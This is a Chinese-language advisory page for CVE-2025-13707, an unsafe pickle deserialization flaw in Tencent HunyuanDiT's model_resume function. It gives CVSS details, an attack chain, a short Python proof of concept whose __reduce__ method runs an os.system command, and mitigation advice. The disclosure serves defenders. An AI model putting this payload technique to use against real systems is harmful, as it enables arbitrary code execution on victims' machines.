IPBUF安全漏洞报告
English
CVE-2025-13707 CVSS 7.8 高危

CVE-2025-13707: 腾讯HunyuanDiT model_resume反序列化远程代码执行漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-13707
漏洞类型
反序列化漏洞/远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Tencent HunyuanDiT

相关标签

CVE-2025-13707反序列化漏洞远程代码执行腾讯HunyuanDiTZDI-CAN-27183model_resume高危漏洞pickle反序列化ZDI披露

漏洞概述

CVE-2025-13707是腾讯HunyuanDiT模型中的一个严重安全漏洞,存在于model_resume功能中。该漏洞允许本地攻击者通过诱骗用户访问恶意页面或打开恶意文件来执行任意代码。由于model_resume函数缺乏对用户输入数据的适当验证,导致不受信任的数据被反序列化,攻击者可利用这一漏洞在root权限下执行代码。此漏洞由ZDI(Zero Day Initiative)发现并披露,编号为ZDI-CAN-27183。CVSS评分7.8,属于高危漏洞,对系统机密性、完整性和可用性均造成严重影响。

技术细节

该漏洞的根本原因在于HunyuanDiT的model_resume函数在处理用户提供的模型恢复数据时,没有进行充分的安全验证。当用户通过该函数加载模型时,如果提供了经过恶意构造的序列化数据,反序列化过程将执行其中的恶意代码。由于model_resume直接使用pickle或其他不安全的反序列化方法,且未对序列化数据进行签名验证或完整性检查,攻击者可以构造包含恶意payload的序列化对象。成功利用此漏洞后,攻击者可以在服务器上以root用户权限执行任意命令,完全控制受影响系统。此漏洞的利用需要用户交互,但不需要认证,这大大增加了其危害性。攻击者可以通过社交工程手段诱骗用户打开恶意文件或访问包含恶意代码的网页。

攻击链分析

STEP 1
步骤1
攻击者创建恶意序列化payload:通过构造包含恶意代码的pickle序列化对象,准备RCE攻击载荷
STEP 2
步骤2
攻击者通过社交工程手段诱骗目标用户:发送包含恶意文件的链接或诱导用户访问托管恶意payload的网页
STEP 3
步骤3
用户交互触发漏洞利用:用户访问恶意页面或打开恶意文件,触发HunyuanDiT的model_resume函数调用
STEP 4
步骤4
不安全反序列化执行:model_resume函数对用户提供的序列化数据进行反序列化,恶意代码在服务器上执行
STEP 5
步骤5
权限提升与系统控制:攻击代码以root用户权限运行,实现完全远程代码执行,可窃取数据、安装后门或完全控制系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import base64 import os # Malicious payload for CVE-2025-13707 class RCE: def __reduce__(self): cmd = "id > /tmp/pwned.txt" return (os.system, (cmd,)) # Generate malicious serialized data payload = pickle.dumps(RCE()) malicious_data = base64.b64encode(payload).decode() # PoC for exploiting model_resume deserialization vulnerability print(f"[*] Generated malicious payload: {malicious_data}") print("[*] This payload should be passed to model_resume function") print("[*] When deserialized, it will execute: id > /tmp/pwned.txt") # Example attack scenario: # 1. Attacker crafts malicious serialized data # 2. Entices user to visit malicious page or open malicious file # 3. User's system calls model_resume with attacker-controlled data # 4. Payload gets deserialized and code executes with root privileges

影响范围

Tencent HunyuanDiT < d2cb9cde5c9dc6a6c01735dcb92fe7699ddf6bc5

防御指南

临时缓解措施
由于该漏洞需要用户交互才能触发,建议在修复前提醒用户不要打开来源不明的文件或访问可疑链接。同时可临时禁用model_resume功能,或对传入的序列化数据进行严格的格式校验和签名验证。在网络层面限制对相关接口的访问,仅允许受信任的来源调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表